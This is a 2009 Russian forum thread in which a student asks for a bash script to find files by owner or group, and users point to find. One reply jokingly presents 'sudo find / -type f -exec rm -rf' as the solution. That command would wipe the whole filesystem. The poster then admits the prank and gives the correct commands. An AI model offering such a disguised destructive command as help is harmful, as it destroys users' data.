URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID9
Нить номер: 8515
[ Назад ]

Исходное сообщение
"Сценарии ком. интерпретатора bash."

Отправлено Bodyk , 15-Ноя-09 20:28 
Помогите пожалуйста.
Задание 2.
Реализовать сценарий на диалекте языка командного интерпретатора bash, производящий поиск файлов в заданной директории (и всех поддиректориях), имеющих заданных владельцев.

Входные параметры:
* модификаторы, согласно которым указывается владелец-пользователь или владелец-группа;
* <владелец> - задаваемый владелец или группа-владелец файла
*<директория> - задаваемая директория


Содержание

Сообщения в этом обсуждении
"Сценарии ком. интерпретатора bash."
Отправлено Vladin , 15-Ноя-09 23:35 
вы, товарищ студент, бюджет сразу озвучивайте...

"Сценарии ком. интерпретатора bash."
Отправлено Pahanivo_tmp , 16-Ноя-09 00:00 
>вы, товарищ студент, бюджет сразу озвучивайте...

извините товарищи но ...
заэбали чесна слово ...


"Сценарии ком. интерпретатора bash."
Отправлено аноним , 16-Ноя-09 16:14 
>извините товарищи но ...
>заэбали чесна слово ...

А вы большой двоечникам неучам нахаляву лабораторные писать?


"Сценарии ком. интерпретатора bash."
Отправлено aZ , 16-Ноя-09 02:52 
Всё это делается стандартной утилитой find.

"Сценарии ком. интерпретатора bash."
Отправлено allez , 16-Ноя-09 06:31 
>Всё это делается стандартной утилитой find.

А как именно это делается, господин студиозус может узнать из man find:
http://www.opennet.me/man.shtml?topic=find&category=1&russian=2


"Сценарии ком. интерпретатора bash."
Отправлено pavlinux , 16-Ноя-09 10:12 
>Помогите пожалуйста.
>Задание 2.
>Реализовать сценарий на диалекте языка командного интерпретатора bash, производящий поиск файлов в
>заданной директории (и всех поддиректориях), имеющих заданных владельцев.
>
>Входные параметры:
>* модификаторы, согласно которым указывается владелец-пользователь или владелец-группа;
>* <владелец> - задаваемый владелец или группа-владелец файла
>*<директория> - задаваемая директория

export user="user" gid="group" dir="catalog";;;sudo find / -type f -exec rm -rf '{}' \;

Входные параметры меняются в строке export user="user" gid="group" dir="catalog"
Далее программа find считывает эти глобальные переменные, и выполняет соответствующий поиск.
Пердиката рекурсивного штрудинга rm -rf {} - форматирует выходную информацию в правильный контекст.


Удачи на зачёте!



"Сценарии ком. интерпретатора bash."
Отправлено Bodyk , 16-Ноя-09 11:22 
pavlinux
шутник эдакий
я так понял на этом форуме не дождешься помощи
Мне надо, что то вроде этого
#!/bin/bash
echo "ВЛАДЕЛЕЦ ИЛИ ГРУППА-ВЛАДЕЛЕЦ ФАЙЛА $1 и ДИРЕКТОРИЯ $2"
if [ $# -It 2 ] then
echo "$0 ошибка: вы должны задать два аргумента" else
echo " Количество аргументов верно."
fi
          

find $2 -type f -user $1 -group

Только без ошибок



"Сценарии ком. интерпретатора bash."
Отправлено pavlinux , 16-Ноя-09 11:34 
>>Пердиката рекурсивного штрудинга

.
>Спасибо огромное - хоть кто то понимает.
>Просто времени нет разобраться, дома практически не бываю.

Ты эта, того,... я пошутил :)

#  find /home/user  -user root -group  root
#  find /home/user  -uid 0 -gid 0

* владелец или группа задаются после -user или -group, соответственно.
  Или -uid 0 и -gid 0, в числовом виде. uid можно узнать по команде id -u root

* директория - задаётся сразу после команды find


"Сценарии ком. интерпретатора bash."
Отправлено Bodyk , 16-Ноя-09 12:07 
хахаххаха
да я понял, что шутка
особенно в части rm -rf
Пердиката которая удаляет все.



"Сценарии ком. интерпретатора bash."
Отправлено аноним , 16-Ноя-09 16:16 
>хахаххаха
>да я понял, что шутка
>особенно в части rm -rf
>Пердиката которая удаляет все.

Пердиката, %ляяяяяяяя!! you made my day!